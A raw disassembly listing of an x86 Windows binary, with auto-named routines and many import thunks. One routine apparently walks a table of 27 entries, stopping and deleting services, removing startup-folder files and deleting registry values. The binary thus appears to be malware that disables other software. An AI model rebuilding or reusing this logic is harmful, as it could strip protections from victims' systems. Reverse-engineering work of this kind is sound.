		call	sub_43F5AD
		cmp	[ebp-10Ch], eax
		jz	loc_43EE16
		push	dword ptr [ebp-10Ch]
		call	sub_43F5B9
		movzx	edi, word ptr ds:loc_404094
		push	edi
		push	eax
		push	404D27h
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_43F921
		add	esp, 10h


loc_43F018:				; CODE XREF: .data:0043F041j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_43F021:				; CODE XREF: .data:0043F026j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F021
		cmp	eax, 19h
		jz	short loc_43F043
		push	404D25h
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43F939
		add	esp, 8
		jmp	short loc_43F018
; ---------------------------------------------------------------------------


loc_43F043:				; CODE XREF: .data:0043F02Bj
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_43F04C:				; CODE XREF: .data:0043F051j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F04C
		push	eax
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, ebx
		add	edi, 9
		push	edi
		call	sub_43F8E5
		add	esp, 0Ch
		lea	eax, [ebp-130h]
		push	eax
		call	sub_43F5AD
		push	esi
		push	ebx
		push	eax
		call	sub_43E741
		add	esp, 0Ch
		mov	[ebp-13Ch], eax
		push	0
		call	sub_43F8CD
		add	esp, 4
		jmp	loc_43EE16
; ---------------------------------------------------------------------------
		db 5Fh,	5Eh, 5Bh
		dd 4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F09C	proc near		; CODE XREF: .data:0043F0DEp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_43F71D
		cmp	eax, 80000000h
		jb	short loc_43F0B3
		mov	eax, 3Ch
		jmp	short locret_43F0D4
; ---------------------------------------------------------------------------


loc_43F0B3:				; CODE XREF: sub_43F09C+Ej
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_43F601
		and	[ebp+var_4], 2
		cmp	[ebp+var_4], 2
		jnz	short loc_43F0CF
		mov	eax, 12Ch
		jmp	short locret_43F0D4
; ---------------------------------------------------------------------------


loc_43F0CF:				; CODE XREF: sub_43F09C+2Aj
		mov	eax, 64h

locret_43F0D4:				; CODE XREF: sub_43F09C+15j
					; sub_43F09C+31j
		leave
		retn
sub_43F09C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_43F09C
		mov	ebx, eax
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	offset sub_401565
		push	0
		push	0
		call	sub_43F7AD
		push	eax
		call	sub_43F705
		xor	esi, esi
		jmp	short loc_43F137
; ---------------------------------------------------------------------------


loc_43F105:				; CODE XREF: .data:0043F139j
		lea	eax, [ebp-4]
		push	eax
		push	0
		push	0
		push	401E23h
		push	0
		push	0
		call	sub_43F7AD
		push	eax
		call	sub_43F705
		mov	eax, 0EA60h
		xor	edx, edx
		div	ebx
		mov	[ebp-8], eax
		mov	edi, eax
		push	eax
		call	sub_43F8CD
		pop	ecx
		inc	esi


loc_43F137:				; CODE XREF: .data:0043F103j
		cmp	esi, ebx
		jb	short loc_43F105
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F142	proc near		; CODE XREF: sub_43F411+ACp

var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_16C		= dword	ptr -16Ch
var_168		= byte ptr -168h
var_164		= dword	ptr -164h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 388h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_16C]
		lea	esi, loc_404A36+2
		mov	ecx, 51h
		rep movsd
		and	[ebp+var_24], 0


loc_43F165:				; CODE XREF: sub_43F142+211j
		push	0F003Fh
		push	0
		push	0
		call	sub_43F855
		mov	[ebp+var_28], eax
		or	eax, eax
		jz	loc_43F34C
		push	0F003Fh
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_370], eax
		push	[ebp+eax+var_16C]
		push	[ebp+var_28]
		call	sub_43F861
		mov	ebx, eax
		or	eax, eax
		jz	loc_43F344
		lea	eax, [ebp+var_20]
		push	eax
		push	1
		push	ebx
		call	sub_43F83D
		mov	[ebp+var_4], eax
		and	[ebp+var_4], 0


loc_43F1BD:				; CODE XREF: sub_43F142+A4j
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		push	ebx
		call	sub_43F83D
		or	eax, eax
		jz	short loc_43F1D3
		cmp	[ebp+var_1C], 1
		jnz	short loc_43F1D5


loc_43F1D3:				; CODE XREF: sub_43F142+89j
		jmp	short loc_43F1E8
; ---------------------------------------------------------------------------


loc_43F1D5:				; CODE XREF: sub_43F142+8Fj
		push	3E8h
		call	sub_43F789
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 0Ah
		jb	short loc_43F1BD


loc_43F1E8:				; CODE XREF: sub_43F142:loc_43F1D3j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_374], eax
		cmp	[ebp+eax+var_168], 0
		jz	short loc_43F206
		push	ebx
		call	sub_43F849


loc_43F206:				; CODE XREF: sub_43F142+BCj
		push	ebx
		call	sub_43F831
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_378], eax
		cmp	[ebp+eax+var_164], 0
		jz	loc_43F344
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_37C], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	0
		jnz	loc_43F2CC
		push	0
		push	18h
		lea	eax, [ebp+var_36C]
		push	eax
		push	0
		call	sub_43F60D
		or	eax, eax
		jz	short loc_43F2CC
		lea	ecx, [ebp+var_36C]
		or	eax, 0FFFFFFFFh


loc_43F265:				; CODE XREF: sub_43F142+128j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F265
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jbe	short loc_43F299
		mov	eax, [ebp+var_4]
		sub	eax, 1
		cmp	[ebp+eax+var_36C], 5Ch
		jz	short loc_43F299
		push	offset sub_404BA0
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_43F939
		add	esp, 8


loc_43F299:				; CODE XREF: sub_43F142+131j
					; sub_43F142+141j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_43F939
		add	esp, 8
		lea	eax, [ebp+var_36C]
		push	eax
		call	sub_43F7B9


loc_43F2CC:				; CODE XREF: sub_43F142+FEj
					; sub_43F142+118j
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_380], eax
		mov	eax, [ebp+eax+var_164]
		cmp	byte ptr [eax],	1
		jnz	short loc_43F344
		lea	eax, [ebp+var_4]
		push	eax
		push	20006h
		push	0
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_384], eax
		mov	edx, [ebp+eax+var_164]
		push	dword ptr [edx+4]
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+0Ch]
		call	sub_43F891
		or	eax, eax
		jnz	short loc_43F344
		mov	eax, 0Ch
		mul	[ebp+var_24]
		mov	[ebp+var_388], eax
		mov	eax, [ebp+eax+var_164]
		push	dword ptr [eax+8]
		push	[ebp+var_4]
		call	sub_43F86D
		push	[ebp+var_4]
		call	sub_43F885


loc_43F344:				; CODE XREF: sub_43F142+62j
					; sub_43F142+E0j ...
		push	[ebp+var_28]
		call	sub_43F831


loc_43F34C:				; CODE XREF: sub_43F142+36j
		inc	[ebp+var_24]
		cmp	[ebp+var_24], 1Bh
		jb	loc_43F165
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_43F142	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	eax, [ebp+0Ch]
		cmp	eax, 10h
		jz	short loc_43F3EE
		jg	short loc_43F37B
		cmp	eax, 2
		jz	short loc_43F3E5
		jmp	loc_43F3FB
; ---------------------------------------------------------------------------


loc_43F37B:				; CODE XREF: .data:0043F36Fj
		cmp	eax, 113h
		jnz	short loc_43F3FB
		and	dword ptr [ebp-4], 0
		mov	dword ptr [ebp-8], 4
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	offset sub_404B85
		push	80000001h
		call	sub_43E380
		mov	eax, dword ptr ds:loc_404096+2
		mov	[ebp-0Ch], eax
		add	[ebp-4], eax
		push	4
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	404B81h
		push	offset sub_404B85
		push	80000001h
		call	sub_43E315
		add	esp, 30h
		push	0
		push	404098h
		call	sub_43F735
		jmp	short loc_43F40C
; ---------------------------------------------------------------------------


loc_43F3E5:				; CODE XREF: .data:0043F374j
		push	0
		call	sub_43F801
		jmp	short loc_43F40C
; ---------------------------------------------------------------------------


loc_43F3EE:				; CODE XREF: .data:0043F36Dj
		push	dword ptr ds:loc_403000
		call	sub_43F819
		jmp	short loc_43F40C
; ---------------------------------------------------------------------------


loc_43F3FB:				; CODE XREF: .data:0043F376j
					; .data:0043F380j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_43F825


loc_43F40C:				; CODE XREF: .data:0043F3E3j
					; .data:0043F3ECj ...
		pop	edi
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F411	proc near		; CODE XREF: sub_43F619+5Cp

var_2DC		= byte ptr -2DCh
var_2D8		= byte ptr -2D8h
var_148		= dword	ptr -148h
var_143		= byte ptr -143h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2DCh
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_8]
		push	offset sub_403010
		call	sub_43F69D
		push	404B7Ch
		lea	eax, [ebp+var_143]
		push	eax
		call	sub_43F921
		and	[ebp+var_44], 0
		lea	eax, loc_4023A3+4
		mov	[ebp+var_40], eax
		and	[ebp+var_3C], 0
		and	[ebp+var_38], 0
		mov	[ebp+var_34], edi
		and	[ebp+var_30], 0
		and	[ebp+var_2C], 0
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		lea	eax, [ebp+var_143]
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_43F7D1
		push	0
		push	edi
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CF0000h
		push	404D25h
		lea	eax, [ebp+var_143]
		push	eax
		push	0
		call	sub_43F80D
		mov	dword ptr ds:loc_403000, eax
		call	sub_43F6E1
		push	eax
		call	sub_43E2F0
		lea	eax, [ebp+var_2D8]
		push	eax
		push	2
		call	sub_43F54D
		push	0
		call	sub_43F142
		lea	eax, [ebp+var_2DC]
		push	eax
		push	0
		push	0
		push	40211Dh
		push	0
		push	0
		call	sub_43F7AD
		push	eax
		call	sub_43F705
		and	[ebp+var_148], 0
		push	4
		push	4
		lea	eax, [ebp+var_148]
		push	eax
		push	404B81h
		push	offset sub_404B85
		push	80000001h
		call	sub_43E315
		add	esp, 24h
		push	0
		push	2710h
		push	1
		push	dword ptr ds:loc_403000
		call	sub_43F7C5
		jmp	short loc_43F532
; ---------------------------------------------------------------------------


loc_43F520:				; CODE XREF: sub_43F411+132j
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_43F7E9
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_43F7F5


loc_43F532:				; CODE XREF: sub_43F411+10Dj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_43F7DD
		or	eax, eax
		jnz	short loc_43F520
		pop	edi
		leave
		retn	10h
sub_43F411	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F54D	proc near		; CODE XREF: sub_43F411+A5p
		jmp	dword ptr ds:loc_40524A+2
sub_43F54D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F559	proc near		; CODE XREF: .data:0043E617p
		jmp	dword ptr ds:loc_40524E+2
sub_43F559	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F565	proc near		; CODE XREF: .data:0043E5E4p
		jmp	dword ptr ds:loc_405254
sub_43F565	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F571	proc near		; CODE XREF: .data:0043E512p
					; sub_43E741+651p
		jmp	dword ptr ds:loc_405254+4
sub_43F571	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F57D	proc near		; CODE XREF: sub_43E741+1BAp
		jmp	dword ptr ds:loc_40525A+2
sub_43F57D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F589	proc near		; CODE XREF: sub_43EDA2+20p
		jmp	dword ptr ds:loc_40525F+1
sub_43F589	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F595	proc near		; CODE XREF: sub_43EDA2+Ep
		jmp	dword ptr ds:loc_405264
sub_43F595	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5A1	proc near		; CODE XREF: .data:0043E5D2p
					; sub_43E741+197p
		jmp	dword ptr ds:loc_405264+4
sub_43F5A1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5AD	proc near		; CODE XREF: .data:0043EFDFp
					; .data:0043F070p
		jmp	dword ptr ds:loc_405269+3
sub_43F5AD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5B9	proc near		; CODE XREF: sub_43E741+63p
					; .data:0043EFF6p
		jmp	dword ptr ds:loc_40526F+1
sub_43F5B9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5C5	proc near		; CODE XREF: .data:0043E602p
		jmp	dword ptr ds:loc_405271+3
sub_43F5C5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5D1	proc near		; CODE XREF: .data:0043E3F2p
					; sub_43E741+20Bp ...
		jmp	dword ptr ds:loc_405278
sub_43F5D1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5DD	proc near		; CODE XREF: .data:0043E444p
					; .data:0043E480p ...
		jmp	dword ptr ds:loc_40527C
sub_43F5DD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5E9	proc near		; CODE XREF: .data:0043E50Ap
					; sub_43E741+649p
		jmp	dword ptr ds:loc_40527C+4
sub_43F5E9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F5F5	proc near		; CODE XREF: .data:0043E59Bp
					; sub_43E741+48p
		jmp	dword ptr ds:loc_405281+3
sub_43F5F5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F601	proc near		; CODE XREF: sub_43F09C+1Dp
		jmp	dword ptr ds:loc_40528D+3
sub_43F601	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F60D	proc near		; CODE XREF: sub_43F142+111p
		jmp	dword ptr ds:loc_40529C
sub_43F60D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F619	proc near		; CODE XREF: .data:0043E238p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_43F6D5
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_43F64D
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_43F945
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_43F668
		mov	edi, eax
		inc	edi
		jmp	short loc_43F645
; ---------------------------------------------------------------------------


loc_43F644:				; CODE XREF: sub_43F619+2Fj
		inc	edi


loc_43F645:				; CODE XREF: sub_43F619+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_43F644
		jmp	short loc_43F668
; ---------------------------------------------------------------------------


loc_43F64C:				; CODE XREF: sub_43F619+3Ej
		inc	edi


loc_43F64D:				; CODE XREF: sub_43F619+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_43F659
		cmp	eax, 20h
		jnz	short loc_43F64C


loc_43F659:				; CODE XREF: sub_43F619+39j
		jmp	short loc_43F65C
; ---------------------------------------------------------------------------


loc_43F65B:				; CODE XREF: sub_43F619+4Dj
		inc	edi


loc_43F65C:				; CODE XREF: sub_43F619:loc_43F659j
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_43F668
		cmp	eax, 20h
		jz	short loc_43F65B


loc_43F668:				; CODE XREF: sub_43F619+24j
					; sub_43F619+31j ...
		push	0
		call	sub_43F6F9
		push	1
		push	edi
		push	0
		push	eax
		call	sub_43F411
		pop	edi
		leave
		retn
sub_43F619	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43F67D	proc near		; CODE XREF: sub_43E741+8p

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_43F67E:				; CODE XREF: sub_43F67D+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_43F67E
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_43F67D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43F69D	proc near		; CODE XREF: sub_43F411+15p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_43F69D	endp

; ---------------------------------------------------------------------------
		align 4
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6C9	proc near		; CODE XREF: .data:0043E558p
		jmp	dword ptr ds:loc_4052A5+3
sub_43F6C9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6D5	proc near		; CODE XREF: sub_43F619+5p
		jmp	dword ptr ds:loc_4052A9+3
sub_43F6D5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6E1	proc near		; CODE XREF: sub_43F411+91p
		jmp	dword ptr ds:loc_4052AF+1
sub_43F6E1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6ED	proc near		; CODE XREF: .data:0043E560p
		jmp	dword ptr ds:loc_4052B4
sub_43F6ED	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F6F9	proc near		; CODE XREF: sub_43F619+51p
		jmp	dword ptr ds:loc_4052B4+4
sub_43F6F9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F705	proc near		; CODE XREF: .data:0043E590p
					; .data:0043E634p ...
		jmp	dword ptr ds:loc_4052B9+3
sub_43F705	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F711	proc near		; CODE XREF: .data:0043EDE8p
		jmp	dword ptr ds:loc_4052BE+2
sub_43F711	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F71D	proc near		; CODE XREF: sub_43F09C+4p
		jmp	dword ptr ds:loc_4052C1+3
sub_43F71D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F729	proc near		; CODE XREF: sub_43E2F0+1Ep
		jmp	dword ptr ds:loc_4052C6+2
sub_43F729	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F735	proc near		; CODE XREF: .data:0043E52Ep
					; .data:0043F3DEp
		jmp	dword ptr ds:locret_4052CC
sub_43F735	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F741	proc near		; CODE XREF: .data:0043E4D2p
		jmp	dword ptr ds:loc_4052CF+1
sub_43F741	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F74D	proc near		; CODE XREF: .data:0043E56Dp
					; .data:0043EE00p
		jmp	dword ptr ds:loc_4052D4
sub_43F74D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F759	proc near		; CODE XREF: .data:0043E54Ap
		jmp	dword ptr ds:loc_4052D8
sub_43F759	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F765	proc near		; CODE XREF: .data:0043E58Ap
		jmp	dword ptr ds:loc_4052DB+1
sub_43F765	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F771	proc near		; CODE XREF: sub_43E033+13p
		jmp	dword ptr ds:loc_4052E0
sub_43F771	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F77D	proc near		; CODE XREF: .data:0043E5A8p
					; sub_43E741+17Ep
		jmp	dword ptr ds:loc_4052E0+4
sub_43F77D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F789	proc near		; CODE XREF: .data:0043E4C6p
					; .data:0043E500p ...
		jmp	dword ptr ds:loc_4052E8
sub_43F789	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F795	proc near		; CODE XREF: sub_43E741+72p
		jmp	dword ptr ds:loc_4052E8+4
sub_43F795	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7A1	proc near		; CODE XREF: sub_43E741+BBp
					; sub_43E741+D9p ...
		jmp	dword ptr ds:loc_4052F0
sub_43F7A1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7AD	proc near		; CODE XREF: .data:0043E62Ep
					; .data:0043F0F6p ...
		jmp	dword ptr ds:loc_4052F0+4
sub_43F7AD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7B9	proc near		; CODE XREF: sub_43F142+185p
		jmp	dword ptr ds:loc_4052F7+1
sub_43F7B9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7C5	proc near		; CODE XREF: sub_43F411+108p
		jmp	dword ptr ds:loc_405302+2
sub_43F7C5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7D1	proc near		; CODE XREF: sub_43F411+60p
		jmp	dword ptr ds:loc_405302+6
sub_43F7D1	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7DD	proc near		; CODE XREF: sub_43F411+12Bp
		jmp	dword ptr ds:loc_40530C
sub_43F7DD	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7E9	proc near		; CODE XREF: sub_43F411+113p
		jmp	dword ptr ds:loc_40530C+4
sub_43F7E9	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F7F5	proc near		; CODE XREF: sub_43F411+11Cp
		jmp	dword ptr ds:loc_405314
sub_43F7F5	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F801	proc near		; CODE XREF: .data:0043F3E7p
		jmp	dword ptr ds:loc_405317+1
sub_43F801	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F80D	proc near		; CODE XREF: sub_43F411+87p
		jmp	dword ptr ds:loc_405319+3
sub_43F80D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F819	proc near		; CODE XREF: .data:0043F3F4p
		jmp	dword ptr ds:loc_405320
sub_43F819	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F825	proc near		; CODE XREF: .data:0043F407p
		jmp	dword ptr ds:loc_405320+4
sub_43F825	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F831	proc near		; CODE XREF: sub_43F142+C5p
					; sub_43F142+205p
		jmp	dword ptr ds:loc_405330
sub_43F831	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F83D	proc near		; CODE XREF: sub_43F142+6Fp
					; sub_43F142+82p
		jmp	dword ptr ds:loc_405330+4
sub_43F83D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F849	proc near		; CODE XREF: sub_43F142+BFp
		jmp	dword ptr ds:loc_405337+1
sub_43F849	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F855	proc near		; CODE XREF: sub_43F142+2Cp
		jmp	dword ptr ds:loc_40533C
sub_43F855	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F861	proc near		; CODE XREF: sub_43F142+59p
		jmp	dword ptr ds:loc_405340
sub_43F861	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43F86D	proc near		; CODE XREF: sub_43F142+1F5p
		jmp	dword ptr ds:loc_405340+4
sub_43F86D	endp

; ---------------------------------------------------------------------------
		db 90h
		dd 90h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


